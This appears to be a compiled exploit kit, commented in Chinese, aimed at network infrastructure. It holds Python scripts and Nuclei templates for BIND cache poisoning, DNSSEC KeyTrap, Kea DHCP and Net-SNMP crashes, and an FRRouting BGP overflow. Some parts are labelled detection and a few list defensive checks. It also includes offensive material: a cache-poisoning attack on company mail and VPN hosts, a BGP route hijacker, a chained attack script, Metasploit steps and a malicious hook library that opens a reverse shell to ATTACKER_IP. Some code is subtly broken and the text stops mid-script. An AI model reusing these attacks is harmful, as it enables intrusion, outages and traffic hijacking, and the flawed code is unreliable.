#!/usr/bin/env python3
"""
CVE-2025-40778 BIND 9 缓存投毒检测脚本
用法: python3 cve_2025_40778.py <target_dns_server> <test_domain>
"""
import dns.resolver
import dns.query
import dns.message
import dns.rdatatype
import dns.name
import socket
import sys
import time

TARGET_DNS = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
TEST_DOMAIN = sys.argv[2] if len(sys.argv) > 2 else "example.com"

def build_poisoned_response(query_id, domain):
    domain_name = dns.name.from_text(domain)
    answer = dns.message.make_response(
        dns.message.make_query(domain, dns.rdatatype.A)
    )
    answer.id = query_id
    ns_rrset = dns.rrset.from_text(
        domain_name, 3600, "IN", "NS", "ns1.malicious.com"
    )
    answer.authority.append(ns_rrset)
    a_rrset = dns.rrset.from_text(
        dns.name.from_text(f"malicious.{domain}"),
        3600, "IN", "A", "192.0.2.1"
    )
    answer.answer.append(a_rrset)
    return answer.to_wire()

def test_cache_poisoning():
    print(f"[*] 目标 DNS 服务器: {TARGET_DNS}")
    print(f"[*] 检测 CVE-2025-40778 缓存投毒漏洞...")
    query = dns.message.make_query(TEST_DOMAIN, dns.rdatatype.A)
    response = dns.query.udp(query, TARGET_DNS, timeout=5)
    print(f"[+] 查询 ID: {response.id}")
    print(f"[+] 响应码: {dns.rcode.to_text(response.rcode())}")
    if len(response.authority) > 0:
        print("[!] 警告: 解析器接受了 authority section 中的记录")
    print("\n[*] 尝试发送包含 unsolicited RRs 的伪造响应...")
    poisoned_response = build_poisoned_response(query.id, TEST_DOMAIN)
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(poisoned_response, (TARGET_DNS, 53))
    sock.close()
    time.sleep(1)
    verify_query = dns.message.make_query(
        f"malicious.{TEST_DOMAIN}", dns.rdatatype.A
    )
    verify_response = dns.query.udp(verify_query, TARGET_DNS, timeout=5)
    if len(verify_response.answer) > 0:
        print("[!] 严重: 缓存可能被投毒!")
        for rrset in verify_response.answer:
            print(f"    {rrset}")
    else:
        print("[+] 缓存未被投毒（或已修复）")

if __name__ == "__main__":
    test_cache_poisoning()

#!/usr/bin/env python3
"""
CVE-2025-8677 BIND 9 DNSKEY DoS 检测脚本
用法: python3 cve_2025_8677.py <target_dns_server> <malicious_zone>
"""
import dns.query
import dns.message
import dns.rdatatype
import dns.name
import dns.rdata
import socket
import sys
import time

TARGET_DNS = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
MALICIOUS_ZONE = sys.argv[2] if len(sys.argv) > 2 else "malicious.example.com"

def build_malformed_dnskey_response(query_id, zone):
    zone_name = dns.name.from_text(zone)
    response = dns.message.make_response(
        dns.message.make_query(zone, dns.rdatatype.DNSKEY)
    )
    response.id = query_id
    malformed_dnskey = dns.rdata.from_text(
        "IN", "DNSKEY", "256 3 8 " + "A" * 100
    )
    rrset = dns.rrset.from_rdata(zone_name, 3600, malformed_dnskey)
    response.answer.append(rrset)
    return response.to_wire()

def test_dos_vulnerability():
    print(f"[*] 目标 DNS 服务器: {TARGET_DNS}")
    print(f"[*] 检测 CVE-2025-8677 DoS 漏洞...")
    baseline_times = []
    for i in range(10):
        query = dns.message.make_query("example.com", dns.rdatatype.A)
        start = time.time()
        try:
            dns.query.udp(query, TARGET_DNS, timeout=5)
            baseline_times.append(time.time() - start)
        except:
            pass
    avg_baseline = sum(baseline_times) / len(baseline_times)
    print(f"[+] 基准响应时间: {avg_baseline*1000:.2f}ms")
    query = dns.message.make_query(MALICIOUS_ZONE, dns.rdatatype.DNSKEY)
    for i in range(5):
        malformed = build_malformed_dnskey_response(query.id, MALICIOUS_ZONE)
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.sendto(malformed, (TARGET_DNS, 53))
        sock.close()
        time.sleep(0.1)
    time.sleep(2)
    post_times = []
    for i in range(10):
        query = dns.message.make_query("example.com", dns.rdatatype.A)
        start = time.time()
        try:
            dns.query.udp(query, TARGET_DNS, timeout=5)
            post_times.append(time.time() - start)
        except Exception as e:
            print(f"[!] 查询失败: {e}")
    if post_times:
        avg_post = sum(post_times) / len(post_times)
        print(f"[+] 测试后响应时间: {avg_post*1000:.2f}ms")
        if avg_post > avg_baseline * 3:
            print("[!] 严重: 响应时间显著增加，可能存在 DoS 漏洞")
        else:
            print("[+] 服务响应正常")
    else:
        print("[!] 严重: 服务无响应，可能已崩溃")

if __name__ == "__main__":
    test_dos_vulnerability()

id: cve-2025-bind9-cache-poisoning

info:
  name: BIND 9 缓存投毒漏洞检测 (CVE-2025-40778 / CVE-2025-40780)
  author: security-researcher
  severity: high
  description: |
    检测 BIND 9 DNS 服务器是否存在缓存投毒漏洞。
    CVE-2025-40778: 过于宽松的 unsolicited RRs 处理
    CVE-2025-40780: 弱 PRNG 导致查询可预测
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.6
    cve-id: CVE-2025-40778, CVE-2025-40780
    cwe-id: CWE-330, CWE-284
  tags: cve,cve2025,dns,bind,cache-poisoning

dns:
  - name: "{{FQDN}}"
    type: A
    class: inet
    recursion: true
    retries: 3
    matchers:
      - type: word
        words:
          - "NOERROR"
          - "ANSWER"
        condition: and
    extractors:
      - type: regex
        group: 1
        regex:
          - "id ([0-9]+)"

#!/usr/bin/env python3
"""
企业 DNS 缓存投毒实战利用
目标: 投毒企业 DNS 解析器，将关键业务域名重定向至攻击者控制的服务器
"""
import dns.query
import dns.message
import dns.rdatatype
import dns.resolver
import socket
import time

TARGET_DNS = "10.0.0.1"
TARGET_DOMAINS = [
    "mail.company.com",
    "vpn.company.com",
    "intranet.company.com"
]
ATTACKER_IP = "192.0.2.100"

def poison_dns_cache():
    print("[*] 开始 DNS 缓存投毒攻击...")
    for domain in TARGET_DOMAINS:
        print(f"\n[*] 目标域名: {domain}")
        query = dns.message.make_query(domain, dns.rdatatype.A)
        predicted_id = 0x1234
        response = dns.message.make_response(query)
        response.id = predicted_id
        rrset = dns.rrset.from_text(domain, 3600, "IN", "A", ATTACKER_IP)
        response.answer.append(rrset)
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.sendto(response.to_wire(), (TARGET_DNS, 53))
        sock.close()
        print(f"[+] 已发送伪造响应 -> {ATTACKER_IP}")
        time.sleep(0.5)
    print("\n[*] 验证投毒结果...")
    time.sleep(2)
    for domain in TARGET_DOMAINS:
        resolver = dns.resolver.Resolver()
        resolver.nameservers = [TARGET_DNS]
        try:
            answers = resolver.resolve(domain, 'A')
            for rdata in answers:
                if str(rdata) == ATTACKER_IP:
                    print(f"[!] 成功: {domain} -> {ATTACKER_IP}")
                else:
                    print(f"[-] 失败: {domain} -> {rdata}")
        except Exception as e:
            print(f"[!] 错误: {domain} - {e}")

if __name__ == "__main__":
    poison_dns_cache()

# 检查 BIND 版本
named -v

# 查看 BIND 日志
tail -f /var/log/named/query.log

# 监控 DNSKEY 查询异常
grep "DNSKEY" /var/log/named/query.log | wc -l

# 捕获 DNS 流量
tcpdump -i eth0 port 53 -w dns_capture.pcap

# 检查源端口分布
tcpdump -r dns_capture.pcap -n port 53 | awk '{print $3}' | sort | uniq -c

#!/usr/bin/env python3
"""
CVE-2023-50387 DNSSEC KeyTrap DoS 检测脚本
用法: python3 cve_2023_50387.py <target_dns_server> <malicious_zone>
"""
import dns.query
import dns.message
import dns.rdatatype
import dns.name
import dns.rdataclass
import dns.rdata
import socket
import time
import sys

TARGET_DNS = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
MALICIOUS_ZONE = sys.argv[2] if len(sys.argv) > 2 else "keytrap.example.com"

def build_keytrap_response(query_id, zone):
    zone_name = dns.name.from_text(zone)
    response = dns.message.make_response(
        dns.message.make_query(zone, dns.rdatatype.A)
    )
    response.id = query_id
    for i in range(100):
        dnskey_data = f"257 3 8 {'A' * 200}"
        try:
            dnskey_rdata = dns.rdata.from_text(
                dns.rdataclass.IN, dns.rdatatype.DNSKEY, dnskey_data
            )
            rrset = dns.rrset.from_rdata(zone_name, 3600, dnskey_rdata)
            response.answer.append(rrset)
        except:
            pass
    for i in range(50):
        rrsig_data = f"A 8 2 3600 20240101000000 20230101000000 12345 {zone} {'B' * 100}"
        try:
            rrsig_rdata = dns.rdata.from_text(
                dns.rdataclass.IN, dns.rdatatype.RRSIG, rrsig_data
            )
            rrset = dns.rrset.from_rdata(zone_name, 3600, rrsig_rdata)
            response.answer.append(rrset)
        except:
            pass
    return response.to_wire()

def test_keytrap_vulnerability():
    print(f"[*] 目标 DNS 服务器: {TARGET_DNS}")
    print(f"[*] 检测 CVE-2023-50387 KeyTrap 漏洞...")
    baseline_times = []
    for i in range(10):
        query = dns.message.make_query("example.com", dns.rdatatype.A)
        start = time.time()
        try:
            dns.query.udp(query, TARGET_DNS, timeout=5)
            baseline_times.append(time.time() - start)
        except:
            pass
    avg_baseline = sum(baseline_times) / len(baseline_times)
    print(f"[+] 基准响应时间: {avg_baseline*1000:.2f}ms")
    query = dns.message.make_query(MALICIOUS_ZONE, dns.rdatatype.A)
    for i in range(3):
        keytrap_resp = build_keytrap_response(query.id, MALICIOUS_ZONE)
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.sendto(keytrap_resp, (TARGET_DNS, 53))
        sock.close()
        time.sleep(0.5)
    time.sleep(2)
    post_times = []
    for i in range(10):
        query = dns.message.make_query("example.com", dns.rdatatype.A)
        start = time.time()
        try:
            dns.query.udp(query, TARGET_DNS, timeout=5)
            post_times.append(time.time() - start)
        except Exception as e:
            print(f"[!] 查询失败: {e}")
    if post_times:
        avg_post = sum(post_times) / len(post_times)
        print(f"[+] 测试后响应时间: {avg_post*1000:.2f}ms")
        if avg_post > avg_baseline * 5:
            print("[!] 严重: 响应时间显著增加，可能存在 KeyTrap 漏洞")
        else:
            print("[+] 服务响应正常，可能已修复或启用了防护")
    else:
        print("[!] 严重: 服务无响应，可能已崩溃")

if __name__ == "__main__":
    test_keytrap_vulnerability()

id: cve-2023-50387-dnssec-keytrap

info:
  name: DNSSEC KeyTrap DoS 检测 (CVE-2023-50387 / CVE-2023-50868)
  author: security-researcher
  severity: high
  description: |
    检测 DNS 解析器是否存在 DNSSEC KeyTrap 漏洞。
    CVE-2023-50387: DNSKEY/RRSIG 评估复杂度攻击
    CVE-2023-50868: NSEC3 最近匹配证明复杂度攻击
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2023-50387, CVE-2023-50868
    cwe-id: CWE-400
  tags: cve,cve2023,dns,dnssec,keytrap,dos

dns:
  - name: "{{FQDN}}"
    type: DNSKEY
    class: inet
    recursion: true
    retries: 3
    matchers:
      - type: word
        words:
          - "NOERROR"
          - "ANSWER"
        condition: and
    extractors:
      - type: regex
        group: 1
        regex:
          - "DNSKEY (.+)"

# 监控 BIND CPU 使用率
top -p $(pgrep named)

# 检查 DNSSEC 验证统计
rndc stats
cat /var/named/named.stats | grep -A 10 "DNSSEC"

# 查看异常查询
grep "DNSKEY\|RRSIG" /var/log/named/query.log | tail -50

# 捕获 DNSSEC 流量
tcpdump -i eth0 port 53 -w dnssec_capture.pcap

#!/usr/bin/env python3
"""
CVE-2025-40779 Kea DHCP DoS 检测脚本
用法: python3 cve_2025_40779.py <target_kea_server>
"""
import socket
import struct
import sys
import time

TARGET_SERVER = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
TARGET_PORT = 67

def build_malicious_dhcp_request():
    op = 1          # BOOTREQUEST
    htype = 1       # Ethernet
    hlen = 6
    hops = 0
    xid = 0x12345678
    secs = 0
    flags = 0x8000  # 广播标志
    ciaddr = 0
    yiaddr = 0
    siaddr = 0
    giaddr = 0
    chaddr = b'\x00\x11\x22\x33\x44\x55' + b'\x00' * 10
    sname = b'\x00' * 64
    file = b'\x00' * 128
    magic_cookie = b'\x63\x82\x53\x63'
    options = b''
    options += b'\x35\x01\x01'
    client_id = b'\x01' + b'\x00\x11\x22\x33\x44\x55'
    options += b'\x3d' + bytes([len(client_id)]) + client_id
    relay_agent = b'\x01\x04\x0a\x00\x00\x01'
    options += b'\x52' + bytes([len(relay_agent)]) + relay_agent
    vendor_class = b'MaliciousClient'
    options += b'\x3c' + bytes([len(vendor_class)]) + vendor_class
    options += b'\xff'
    dhcp_packet = struct.pack(
        '!BBBBIHHIIII16s64s128s4s',
        op, htype, hlen, hops, xid, secs, flags,
        ciaddr, yiaddr, siaddr, giaddr,
        chaddr, sname, file, magic_cookie
    ) + options
    return dhcp_packet

def test_dos():
    print(f"[*] 目标 DHCP 服务器: {TARGET_SERVER}")
    print(f"[*] 检测 CVE-2025-40779 DoS 漏洞...")
    malicious_packet = build_malicious_dhcp_request()
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(5)
    sock.sendto(malicious_packet, (TARGET_SERVER, TARGET_PORT))
    print("[+] 已发送恶意 DHCP 请求")
    try:
        data, addr = sock.recvfrom(1024)
        print(f"[+] 收到响应: {len(data)} 字节")
        print("[+] 服务仍在运行（可能已修复）")
    except socket.timeout:
        print("[!] 严重: 服务无响应，可能已崩溃")
        print("[!] 尝试再次发送以确认...")
        sock.sendto(malicious_packet, (TARGET_SERVER, TARGET_PORT))
        try:
            data, addr = sock.recvfrom(1024)
            print("[+] 服务恢复（可能是超时）")
        except socket.timeout:
            print("[!] 确认: 服务已崩溃")
    finally:
        sock.close()

if __name__ == "__main__":
    test_dos()

id: cve-2025-40779-kea-dhcp-dos

info:
  name: Kea DHCP DoS 检测 (CVE-2025-40779)
  author: security-researcher
  severity: high
  description: |
    检测 Kea DHCP 服务器是否存在 CVE-2025-40779 漏洞。
    攻击者可通过发送特定 DHCP 请求使服务崩溃。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2025-40779
    cwe-id: CWE-617
  tags: cve,cve2025,dhcp,kea,dos

tcp:
  - inputs:
      - data: "ff"
    host:
      - "{{Hostname}}"
    port: 67
    matchers:
      - type: word
        words:
          - "Kea"
    extractors:
      - type: regex
        group: 1
        regex:
          - "version ([0-9.]+)"

# 查找 Kea 控制套接字
find / -name "*.sock" -path "*kea*" 2>/dev/null

# 检查 Kea 配置权限
ls -la /etc/kea/

# 检查 Kea 进程运行用户
ps aux | grep kea-dhcp

# 如果控制套接字权限不当，可加载恶意 hook 库
# 构造恶意 hook 库
cat > malicious_hook.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor)) void init() {
    system("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'");
}
EOF
gcc -shared -fPIC -o malicious_hook.so malicious_hook.c

# 通过控制 API 加载 hook 库
curl --unix-socket /tmp/kea-ctrl-socket \
  -d '{"command": "hook-library-set", "arguments": {"libraries": ["/tmp/malicious_hook.so"]}}'

# 检查 Kea 版本
kea-dhcp4 -V

# 查看 Kea 日志
journalctl -u kea-dhcp4 -f

# 检查控制套接字权限
ls -la /tmp/kea-*.sock

# 监控 DHCP 流量
tcpdump -i eth0 port 67 or port 68 -w dhcp_capture.pcap

# 检查异常 DHCP 请求
tcpdump -r dhcp_capture.pcap -n | grep "BOOTP" | head -20

#!/usr/bin/env python3
"""
CVE-2025-68615 Net-SNMP 缓冲区溢出检测脚本
用法: python3 cve_2025_68615.py <target_host> [port]
"""
import socket
import struct
import sys
import time

TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
TARGET_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 161

def build_snmpv3_overflow_packet():
    # SNMPv3 报文头部
    # SEQUENCE { version, msgGlobalData, msgSecurityParameters, ... }
    version = b'\x03'  # SNMPv3

    # msgID
    msg_id = b'\x02\x04\x00\x00\x00\x01'

    # msgMaxSize
    msg_max_size = b'\x02\x03\x00\xff\xff'

    # msgFlags (auth + priv)
    msg_flags = b'\x04\x01\x07'

    # msgSecurityModel
    msg_sec_model = b'\x02\x01\x03'

    # msgSecurityParameters - 构造超长数据触发溢出
    # 这里是触发漏洞的关键：构造超长的 security parameters
    overflow_payload = b'\x41' * 65536  # 超长 payload

    # 构造 SNMPv3 报文
    sec_params = b'\x04' + bytes([len(overflow_payload)]) + overflow_payload

    # 组装完整报文
    snmp_data = version + msg_id + msg_max_size + msg_flags + msg_sec_model + sec_params

    # 包装为 SEQUENCE
    total_len = len(snmp_data)
    if total_len > 127:
        length_bytes = b'\x82' + struct.pack('>H', total_len)
    else:
        length_bytes = bytes([total_len])

    packet = b'\x30' + length_bytes + snmp_data
    return packet

def test_vulnerability():
    print(f"[*] 目标: {TARGET_HOST}:{TARGET_PORT}")
    print(f"[*] 检测 CVE-2025-68615 Net-SNMP 缓冲区溢出漏洞...")

    # 先发送正常 SNMP 请求确认服务存在
    normal_request = b'\x30\x29\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa1\x1c\x02\x04\x00\x00\x00\x01\x02\x01\x00\x02\x01\x00\x30\x0e\x30\x0c\x06\x08\x2b\x06\x01\x02\x01\x01\x01\x00\x05\x00'
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(5)

    try:
        sock.sendto(normal_request, (TARGET_HOST, TARGET_PORT))
        data, addr = sock.recvfrom(4096)
        print(f"[+] SNMP 服务存在，响应 {len(data)} 字节")
    except socket.timeout:
        print("[!] SNMP 服务无响应（可能已关闭或过滤）")
        return
    finally:
        sock.close()

    # 发送溢出 payload
    print("[*] 发送超长 SNMPv3 数据包...")
    overflow_packet = build_snmpv3_overflow_packet()
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(5)

    try:
        sock.sendto(overflow_packet, (TARGET_HOST, TARGET_PORT))
        time.sleep(2)
        # 尝试再次通信
        sock.sendto(normal_request, (TARGET_HOST, TARGET_PORT))
        try:
            data, addr = sock.recvfrom(4096)
            print(f"[+] 服务仍在响应（{len(data)} 字节），可能已修复")
        except socket.timeout:
            print("[!] 严重: 服务无响应，可能已崩溃")
            print("[!] 目标可能存在 CVE-2025-68615 漏洞")
    finally:
        sock.close()

if __name__ == "__main__":
    test_vulnerability()

id: cve-2025-68615-net-snmp-overflow

info:
  name: Net-SNMP 缓冲区溢出检测 (CVE-2025-68615)
  author: security-researcher
  severity: critical
  description: |
    检测 Net-SNMP 服务是否存在 CVE-2025-68615 缓冲区溢出漏洞。
    SNMPv3 处理逻辑中存在输入长度验证缺陷，可触发远程代码执行。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-68615
    cwe-id: CWE-787, CWE-120
  tags: cve,cve2025,snmp,overflow,rce

network:
  - inputs:
      - data: "302902010104067075626c6963a11c020400000001020100020100300e300c06082b0601020101010005000000"
        type: hex
    host:
      - "{{Hostname}}"
    port: 161
    type: udp
    matchers:
      - type: word
        words:
          - "Net-SNMP"
          - "snmp"
        condition: or
    extractors:
      - type: regex
        group: 1
        regex:
          - "Net-SNMP ([0-9.]+)"

# 使用 Metasploit 模块（如已有）
msfconsole
use exploit/linux/snmp/net_snmp_overflow
set RHOST <target>
set RPORT 161
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST <attacker>
exploit

# 检查目标是否启用 ASLR
cat /proc/sys/kernel/randomize_va_space

# 如果 ASLR 未启用，可直接利用
# 如果 ASLR 启用，需要先泄露基地址
# 通过 SNMP GET 请求触发信息泄露，获取 libc 基地址

# 构造 ROP 链
# 1. 找到 libc 中的 system() 地址
# 2. 找到 "/bin/sh" 字符串地址
# 3. 构造 ROP: system("/bin/sh")

# 检查 Net-SNMP 版本
snmpget --version

# 查看 SNMP 服务日志
journalctl -u snmpd -f

# 检查 SNMP 监听端口
ss -ulnp | grep 161

# 检查 SNMP 配置
cat /etc/snmp/snmpd.conf

# 监控 SNMP 流量
tcpdump -i eth0 port 161 -w snmp_capture.pcap

# 分析异常 SNMP 包
tcpdump -r snmp_capture.pcap -n | grep "SNMPv3" | head -20

# 检查 SNMP 服务运行用户
ps aux | grep snmpd

#!/usr/bin/env python3
"""
CVE-2024-44070 FRRouting BGP 缓冲区溢出检测脚本
用法: python3 cve_2024_44070.py <target_bgp_host> [port]
"""
import socket
import struct
import sys
import time

TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
TARGET_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 179

def build_bgp_open_message():
    # BGP OPEN 消息
    marker = b'\xff' * 16
    msg_type = 1  # OPEN
    version = 4
    my_as = 65001
    hold_time = 180
    bgp_id = socket.inet_aton("10.0.0.1")
    opt_params_len = 0

    open_payload = struct.pack(
        '!BHH4sB',
        version, my_as, hold_time, bgp_id, opt_params_len
    )

    length = 19 + len(open_payload)
    header = marker + struct.pack('>H', length) + bytes([msg_type])

    return header + open_payload

def build_malicious_update():
    # BGP UPDATE 消息 - 触发 CVE-2024-44070
    marker = b'\xff' * 16
    msg_type = 2  # UPDATE

    # withdrawn routes length
    withdrawn_len = 0

    # total path attribute length - 构造超长数据
    # 这里是触发漏洞的关键
    overflow_data = b'\x41' * 65536

    # AS_PATH attribute (type=1, flags=transitive)
    as_path_type = 0x40  # transitive
    as_path_code = 1
    as_path_len = len(overflow_data)
    as_path_attr = struct.pack('!BBH', as_path_type, as_path_code, as_path_len)
    as_path_attr += overflow_data

    update_payload = struct.pack('!H', withdrawn_len)
    update_payload += struct.pack('!H', len(as_path_attr))
    update_payload += as_path_attr

    length = 19 + len(update_payload)
    header = marker + struct.pack('>H', length) + bytes([msg_type])

    return header + update_payload

def test_vulnerability():
    print(f"[*] 目标 BGP 路由器: {TARGET_HOST}:{TARGET_PORT}")
    print(f"[*] 检测 CVE-2024-44070 FRRouting BGP 漏洞...")

    # 建立 TCP 连接
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)

    try:
        sock.connect((TARGET_HOST, TARGET_PORT))
        print("[+] TCP 连接建立")

        # 发送 BGP OPEN
        open_msg = build_bgp_open_message()
        sock.send(open_msg)
        print("[+] 已发送 BGP OPEN 消息")

        # 等待响应
        try:
            response = sock.recv(1024)
            print(f"[+] 收到 BGP 响应: {len(response)} 字节")
        except socket.timeout:
            print("[!] 未收到 BGP 响应")

        # 发送恶意 UPDATE
        print("[*] 发送恶意 BGP UPDATE 消息...")
        malicious_update = build_malicious_update()
        sock.send(malicious_update)
        print("[+] 已发送恶意 UPDATE 消息")

        time.sleep(2)

        # 检查服务是否仍然响应
        try:
            sock.send(build_bgp_open_message())
            response = sock.recv(1024)
            print(f"[+] 服务仍在响应（{len(response)} 字节），可能已修复")
        except (socket.timeout, ConnectionResetError, BrokenPipeError):
            print("[!] 严重: 服务无响应或连接断开")
            print("[!] 目标可能存在 CVE-2024-44070 漏洞")

    except ConnectionRefusedError:
        print("[!] 连接被拒绝（BGP 服务未运行或端口未开放）")
    except Exception as e:
        print(f"[!] 错误: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    test_vulnerability()

id: cve-2024-44070-frrouting-bgp-overflow

info:
  name: FRRouting BGP 缓冲区溢出检测 (CVE-2024-44070)
  author: security-researcher
  severity: critical
  description: |
    检测 FRRouting BGP 守护进程是否存在 CVE-2024-44070 漏洞。
    bgpd 在处理 BGP UPDATE 消息时存在缓冲区溢出，可触发远程代码执行。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-44070
    cwe-id: CWE-787, CWE-120
  tags: cve,cve2024,bgp,frr,overflow,rce

tcp:
  - inputs:
      - data: "ffffffffffffffffffffffffffffffff0013010400010000b40a00000100"
        type: hex
    host:
      - "{{Hostname}}"
    port: 179
    matchers:
      - type: word
        words:
          - "FRRouting"
          - "BGP"
        condition: or
    extractors:
      - type: regex
        group: 1
        regex:
          - "FRRouting ([0-9.]+)"

#!/usr/bin/env python3
"""
BGP 路由注入攻击 - 利用 FRRouting 漏洞劫持流量
"""
import socket
import struct
import time

TARGET_BGP = "10.0.0.1"
BGPPORT = 179
ATTACKER_AS = 65001
VICTIM_PREFIX = "192.168.0.0/24"
ATTACKER_NEXT_HOP = "10.0.0.100"

def build_route_injection_update():
    marker = b'\xff' * 16
    msg_type = 2  # UPDATE

    # 构造恶意 AS_PATH（触发漏洞）
    overflow_data = b'\x41' * 65536
    as_path_attr = struct.pack('!BBH', 0x40, 1, len(overflow_data))
    as_path_attr += overflow_data

    # 构造路由注入属性
    # NEXT_HOP
    next_hop_attr = struct.pack('!BBH', 0x40, 3, 4)
    next_hop_attr += socket.inet_aton(ATTACKER_NEXT_HOP)

    # NLRI - 目标前缀
    prefix_bytes = socket.inet_aton(VICTIM_PREFIX.split('/')[0])
    prefix_len = int(VICTIM_PREFIX.split('/')[1])
    nlri = bytes([prefix_len]) + prefix_bytes[:((prefix_len + 7) // 8)]

    update_payload = struct.pack('!H', 0)  # withdrawn
    update_payload += struct.pack('!H', len(as_path_attr) + len(next_hop_attr))
    update_payload += as_path_attr + next_hop_attr
    update_payload += nlri

    length = 19 + len(update_payload)
    header = marker + struct.pack('>H', length) + bytes([msg_type])

    return header + update_payload

def inject_route():
    print("[*] 开始 BGP 路由注入攻击...")
    print(f"[*] 目标: {VICTIM_PREFIX} -> {ATTACKER_NEXT_HOP}")

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)

    try:
        sock.connect((TARGET_BGP, BGPPORT))
        print("[+] TCP 连接建立")

        # 发送 OPEN
        open_msg = build_bgp_open_message()
        sock.send(open_msg)
        print("[+] BGP 会话建立中...")

        time.sleep(1)

        # 发送恶意 UPDATE（路由注入 + 漏洞利用）
        malicious = build_route_injection_update()
        sock.send(malicious)
        print("[!] 已发送路由注入 + 漏洞利用报文")
        print("[!] 目标流量可能被重定向至攻击者控制的服务器")

    except Exception as e:
        print(f"[!] 错误: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    inject_route()

# 检查 FRR 版本
vtysh -c "show version"

# 查看 BGP 邻居状态
vtysh -c "show ip bgp summary"

# 查看 BGP 路由表
vtysh -c "show ip bgp"

# 检查异常路由
vtysh -c "show ip bgp | include 192.168"

# 查看 bgpd 日志
tail -f /var/log/frr/bgpd.log

# 监控 BGP 流量
tcpdump -i eth0 port 179 -w bgp_capture.pcap

# 检查 BGP 会话
ss -tnp | grep 179

#!/usr/bin/env python3
"""
网络基础设施完整攻击链
阶段 1: DNS 缓存投毒（CVE-2025-40778）
阶段 2: DHCP 服务崩溃（CVE-2025-40779）
阶段 3: SNMP 设备控制（CVE-2025-68615）
阶段 4: BGP 路由劫持（CVE-2024-44070）
"""
import socket
import struct
import time
import sys

# 目标配置
DNS_SERVER = "10.0.0.1"
DHCP_SERVER = "10.0.0.1"
SNMP_SERVER = "10.0.0.1"
BGP_ROUTER = "10.0.0.1"

def phase1_dns_poisoning():
    print("\n" + "="*60)
    print("[阶段 1] DNS 缓存投毒")
    print("="*60)
    import dns.query
    import dns.message
    import dns.rdatatype

    target_domain = "mail.company.com"
    attacker_ip = "192.0.2.100"

    query = dns.message.make_query(target_domain, dns.rdatatype.A)
    response = dns.message.make_response(query)
    response.id = 0x1234  # 预测的查询 ID

    rrset = dns.rrset.from_text(target_domain, 3600, "IN", "A", attacker_ip)
    response.answer.append(rrset)

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(response.to_wire(), (DNS_SERVER, 53))
    sock.close()

    print(f"[+] DNS 缓存已投毒: {target_domain} -> {attacker_ip}")
    print("[+] 后续对该域名的查询将返回攻击者控制的 IP")

def phase2_dhcp_crash():
    print("\n" + "="*60)
    print("[阶段 2] DHCP 服务崩溃")
    print("="*60)

    # 构造恶意 DHCP 请求（CVE-2025-40779）
    op = 1
    htype = 1
    hlen = 6
    hops = 0
    xid = 0xDEADBEEF
    secs = 0
    flags = 0x0000  # 单播（触发漏洞的关键）
    ciaddr = 0
    yiaddr = 0
    siaddr = 0
    giaddr = 0
    chaddr = b'\xDE\xAD\xBE\xEF\x00\x00' + b'\x00' * 10
    sname = b'\x00' * 64
    file = b'\x00' * 128
    magic_cookie = b'\x63\x82\x53\x63'

    options = b'\x35\x01\x01'  # DHCPDISCOVER
    client_id = b'\x01\xDE\xAD\xBE\xEF\x00\x00'
    options += b'\x3d' + bytes([len(client_id)]) + client_id
    relay_agent = b'\x01\x04\x0a\x00\x00\x01'
    options += b'\x52' + bytes([len(relay_agent)]) + relay_agent
    options += b'\xff'

    dhcp_packet = struct.pack(
        '!BBBBIHHIIII16s64s128s4s',
        op, htype, hlen, hops, xid, secs, flags,
        ciaddr, yiaddr, siaddr, giaddr,
        chaddr, sname, file, magic_cookie
    ) + options

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(dhcp_packet, (DHCP_SERVER, 67))
    sock.close()

    print("[+] 恶意 DHCP 请求已发送")
    print("[+] DHCP 服务可能已崩溃，新设备无法获取 IP")

def phase3_snmp_exploit():
    print("\n" + "="*60)
    print("[阶段 3] SNMP 设备控制")
    print("="*60)

    # 构造 SNMPv3 溢出数据包（CVE-2025-68615）
    version = b'\x03'
    msg_id = b'\x02\x04\x00\x00\x00\x01'
    msg_max_size = b'\x02\x03\x00\xff\xff'
    msg_flags = b'\x04\x01\x07'
    msg_sec_model = b'\x02\x01\x03'
    overflow_payload = b'\x41' * 65536
    sec_params = b'\x04' + bytes([len(overflow_payload)]) + overflow_payload

